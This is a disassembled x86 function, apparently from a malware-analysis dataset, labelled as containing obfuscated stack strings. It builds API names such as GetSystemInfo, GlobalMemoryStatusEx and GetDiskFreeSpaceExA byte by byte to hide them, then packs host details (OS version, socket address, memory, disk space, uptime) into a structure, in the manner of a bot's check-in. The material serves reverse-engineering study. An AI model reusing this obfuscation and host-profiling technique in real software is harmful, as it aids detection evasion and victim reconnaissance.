Function at 0x40833b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6e4
push ebx
push esi
mov esi, dword [0x414010]
lea eax, [ebp - 0xa0]
push edi
push eax
lea eax, [ebp - 0x28]
xor ebx, ebx
push eax
mov byte [ebp - 0x18], 0x25
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], bl
mov byte [ebp - 0x31c], 0x66
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x318], 0x9c
mov byte [ebp - 0x28], 0x4b
mov byte [ebp - 0x27], 0x45
mov byte [ebp - 0x26], 0x52
mov byte [ebp - 0x25], 0x4e
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4c
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x2e
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x5c], 0x55
mov byte [ebp - 0x5b], 0x53
mov byte [ebp - 0x5a], 0x45
mov byte [ebp - 0x59], 0x52
mov byte [ebp - 0x58], 0x33
mov byte [ebp - 0x57], 0x32
mov byte [ebp - 0x56], 0x2e
mov byte [ebp - 0x55], 0x64
mov byte [ebp - 0x54], 0x6c
mov byte [ebp - 0x53], 0x6c
mov byte [ebp - 0x52], bl
mov byte [ebp - 0x74], 0x57
mov byte [ebp - 0x73], 0x53
mov byte [ebp - 0x72], 0x32
mov byte [ebp - 0x71], 0x5f
mov byte [ebp - 0x70], 0x33
mov byte [ebp - 0x6f], 0x32
mov byte [ebp - 0x6e], 0x2e
mov byte [ebp - 0x6d], 0x64
mov byte [ebp - 0x6c], 0x6c
mov byte [ebp - 0x6b], 0x6c
mov byte [ebp - 0x6a], bl
mov byte [ebp - 0xa0], 0x47
mov byte [ebp - 0x9f], 0x65
mov byte [ebp - 0x9e], 0x74
mov byte [ebp - 0x9d], 0x56
mov byte [ebp - 0x9c], 0x65
mov byte [ebp - 0x9b], 0x72
mov byte [ebp - 0x9a], 0x73
mov byte [ebp - 0x99], 0x69
mov byte [ebp - 0x98], 0x6f
mov byte [ebp - 0x97], 0x6e
mov byte [ebp - 0x96], 0x45
mov byte [ebp - 0x95], 0x78
mov byte [ebp - 0x94], 0x41
mov byte [ebp - 0x93], bl
call esi
mov edi, dword [0x414014]
push eax
call edi
lea ecx, [ebp - 0x318]
mov dword [ebp - 4], eax
push ecx
call eax
mov byte [ebp - 0x80], 0x67
mov byte [ebp - 0x7f], 0x65
mov byte [ebp - 0x7e], 0x74
mov byte [ebp - 0x7d], 0x73
mov byte [ebp - 0x7c], 0x6f
mov byte [ebp - 0x7b], 0x63
mov byte [ebp - 0x7a], 0x6b
mov byte [ebp - 0x79], 0x6e
mov byte [ebp - 0x78], 0x61
lea eax, [ebp - 0x80]
mov byte [ebp - 0x77], 0x6d
push eax
lea eax, [ebp - 0x74]
push eax
mov byte [ebp - 0x76], 0x65
mov byte [ebp - 0x75], bl
call esi
push eax
call edi
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x68]
push eax
mov byte [ebp - 0x68], 0x4d
mov byte [ebp - 0x67], 0x53
mov byte [ebp - 0x66], 0x56
mov byte [ebp - 0x65], 0x43
mov byte [ebp - 0x64], 0x52
mov byte [ebp - 0x63], 0x54
mov byte [ebp - 0x62], 0x2e
mov byte [ebp - 0x61], 0x64
mov byte [ebp - 0x60], 0x6c
mov byte [ebp - 0x5f], 0x6c
mov byte [ebp - 0x5e], bl
mov byte [ebp - 0x38], 0x6d
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x36], 0x6d
mov byte [ebp - 0x35], 0x73
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x74
mov byte [ebp - 0x32], bl
call esi
push eax
call edi
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x5e4]
push 0x100
push eax
push dword [ebp + 8]
call fcn.004080cb
push 0x10
lea eax, [ebp - 0x104]
push ebx
push eax
call dword [ebp - 0x30]
add esp, 0x18
lea eax, [ebp - 0xec]
mov dword [ebp - 0xec], 0x10
push eax
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp + 0xc]
push dword [eax + 0xa8]
call dword [ebp - 0x2c]
mov ecx, dword [0x41844c]
lea eax, [ebp - 0x100]
push 4
push eax
lea eax, [ebp - 0x264]
push eax
call fcn.00406953
mov ecx, dword [0x41844c]
lea eax, [ebp - 0x5e4]
push 0x32
push eax
lea eax, [ebp - 0x260]
push eax
call fcn.00406953
call fcn.00407bee
mov dword [ebp - 0x27c], eax
lea eax, [ebp - 0x3b8]
push eax
mov dword [ebp - 0x3b8], 0x9c
call dword [ebp - 4]
mov byte [ebp - 0x50], 0x77
mov byte [ebp - 0x4f], 0x73
mov byte [ebp - 0x4e], 0x70
mov byte [ebp - 0x4d], 0x72
mov byte [ebp - 0x4c], 0x69
lea eax, [ebp - 0x50]
mov byte [ebp - 0x4b], 0x6e
push eax
lea eax, [ebp - 0x5c]
push eax
mov byte [ebp - 0x4a], 0x74
mov byte [ebp - 0x49], 0x66
mov byte [ebp - 0x48], 0x41
mov byte [ebp - 0x47], bl
call esi
push eax
call edi
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x28]
push eax
mov byte [ebp - 0x44], 0x6c
mov byte [ebp - 0x43], 0x73
mov byte [ebp - 0x42], 0x74
mov byte [ebp - 0x41], 0x72
mov byte [ebp - 0x40], 0x63
mov byte [ebp - 0x3f], 0x70
mov byte [ebp - 0x3e], 0x79
mov byte [ebp - 0x3d], 0x41
mov byte [ebp - 0x3c], bl
call esi
push eax
call edi
cmp dword [ebp - 0x3b4], 5
jne 0x40863d
cmp dword [ebp - 0x3b0], ebx
jne 0x40863d
lea ecx, [ebp - 2]
mov byte [ebp - 2], 0x31
push ecx
lea ecx, [ebp - 0x278]
push ecx
mov byte [ebp - 1], bl
call eax
jmp 0x4086ac
lea eax, [ebp - 0x14]
mov byte [ebp - 0x14], 0x47
push eax
lea eax, [ebp - 0x28]
push eax
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x53
mov byte [ebp - 0x10], 0x79
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x6d
mov byte [ebp - 0xb], 0x49
mov byte [ebp - 0xa], 0x6e
mov byte [ebp - 9], 0x66
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], bl
call esi
push eax
call edi
lea ecx, [ebp - 0xdc]
push ecx
call eax
push dword [ebp - 0xc8]
lea eax, [ebp - 4]
mov byte [ebp - 4], 0x25
mov byte [ebp - 3], 0x64
push eax
lea eax, [ebp - 0x278]
push eax
mov byte [ebp - 2], bl
call dword [ebp - 0x30]
add esp, 0xc
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x154], 0x40
push eax
lea eax, [ebp - 0x28]
push eax
mov byte [ebp - 0xb8], 0x47
mov byte [ebp - 0xb7], 0x6c
mov byte [ebp - 0xb6], 0x6f
mov byte [ebp - 0xb5], 0x62
mov byte [ebp - 0xb4], 0x61
mov byte [ebp - 0xb3], 0x6c
mov byte [ebp - 0xb2], 0x4d
mov byte [ebp - 0xb1], 0x65
mov byte [ebp - 0xb0], 0x6d
mov byte [ebp - 0xaf], 0x6f
mov byte [ebp - 0xae], 0x72
mov byte [ebp - 0xad], 0x79
mov byte [ebp - 0xac], 0x53
mov byte [ebp - 0xab], 0x74
mov byte [ebp - 0xaa], 0x61
mov byte [ebp - 0xa9], 0x74
mov byte [ebp - 0xa8], 0x75
mov byte [ebp - 0xa7], 0x73
mov byte [ebp - 0xa6], 0x45
mov byte [ebp - 0xa5], 0x78
mov byte [ebp - 0xa4], bl
call esi
push eax
call edi
lea ecx, [ebp - 0x154]
push ecx
call eax
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x2c], ebx
shr eax, 0x14
mov dword [ebp - 0x22c], eax
mov dword [ebp - 4], ebx
mov al, byte [ebp - 4]
mov byte [ebp - 0xe7], 0x3a
add al, 0x42
mov byte [ebp - 0xe6], 0x5c
mov byte [ebp - 0xe8], al
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
mov byte [ebp - 0xe5], bl
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x44
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x76
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x54
mov byte [ebp - 0xb], 0x79
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x41
mov byte [ebp - 7], bl
call esi
push eax
call edi
lea ecx, [ebp - 0xe8]
push ecx
call eax
cmp eax, 3
jne 0x4088bb
lea eax, [ebp - 0xcc]
mov byte [ebp - 0xcc], 0x47
push eax
lea eax, [ebp - 0x28]
push eax
mov byte [ebp - 0xcb], 0x65
mov byte [ebp - 0xca], 0x74
mov byte [ebp - 0xc9], 0x44
mov byte [ebp - 0xc8], 0x69
mov byte [ebp - 0xc7], 0x73
mov byte [ebp - 0xc6], 0x6b
mov byte [ebp - 0xc5], 0x46
mov byte [ebp - 0xc4], 0x72
mov byte [ebp - 0xc3], 0x65
mov byte [ebp - 0xc2], 0x65
mov byte [ebp - 0xc1], 0x53
mov byte [ebp - 0xc0], 0x70
mov byte [ebp - 0xbf], 0x61
mov byte [ebp - 0xbe], 0x63
mov byte [ebp - 0xbd], 0x65
mov byte [ebp - 0xbc], 0x45
mov byte [ebp - 0xbb], 0x78
mov byte [ebp - 0xba], 0x41
mov byte [ebp - 0xb9], bl
call esi
push eax
call edi
lea ecx, [ebp - 0x10c]
push ecx
lea ecx, [ebp - 0xf4]
push ecx
lea ecx, [ebp - 0x114]
push ecx
lea ecx, [ebp - 0xe8]
push ecx
call eax
mov eax, dword [ebp - 0xf4]
mov edx, dword [ebp - 0xf0]
push 0x14
pop ecx
call fcn.00413260
add dword [ebp - 0x2c], eax
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x1a
jl 0x408776
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x228], eax
call fcn.00407e1b
mov dword [ebp - 0x224], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x28]
push eax
mov byte [ebp - 0x90], 0x47
mov byte [ebp - 0x8f], 0x65
mov byte [ebp - 0x8e], 0x74
mov byte [ebp - 0x8d], 0x54
mov byte [ebp - 0x8c], 0x69
mov byte [ebp - 0x8b], 0x63
mov byte [ebp - 0x8a], 0x6b
mov byte [ebp - 0x89], 0x43
mov byte [ebp - 0x88], 0x6f
mov byte [ebp - 0x87], 0x75
mov byte [ebp - 0x86], 0x6e
mov byte [ebp - 0x85], 0x74
mov byte [ebp - 0x84], bl
call esi
push eax
call edi
call eax
mov esi, 0x5265c00
xor edx, edx
mov ecx, esi
mov edi, eax
div ecx
mov ebx, dword [ebp - 0x30]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x4e4]
push eax
call ebx
mov eax, edi
xor edx, edx
div esi
mov esi, 0x36ee80
mov ecx, esi
mov edi, edx
xor edx, edx
mov eax, edi
div ecx
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x480]
push eax
call ebx
mov eax, edi
xor edx, edx
div esi
mov ecx, 0xea60
mov eax, edx
xor edx, edx
div ecx
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x41c]
push eax
call ebx
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x480]
push eax
lea eax, [ebp - 0x4e4]
push eax
lea eax, [ebp - 0x186]
push 0x416404
push eax
call ebx
add esp, 0x38
lea eax, [ebp - 0x21c]
push dword [ebp + 0x14]
push eax
mov ecx, dword [0x41844c]
call fcn.00406a7d
lea eax, [ebp - 0x1ea]
push 0x32
push eax
push dword [ebp + 8]
call fcn.0040826b
lea eax, [ebp - 0x6e4]
push 0x100
push eax
push dword [ebp + 8]
call fcn.0040818b
add esp, 0x18
test eax, eax
pop edi
pop esi
pop ebx
mov eax, 0x4163f8
je 0x408a26
lea eax, [ebp - 0x6e4]
mov ecx, dword [0x41844c]
push eax
lea eax, [ebp - 0x1b8]
push eax
call fcn.00406a7d
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x31c]
push 0x1c8
push eax
call fcn.00402db7
leave
ret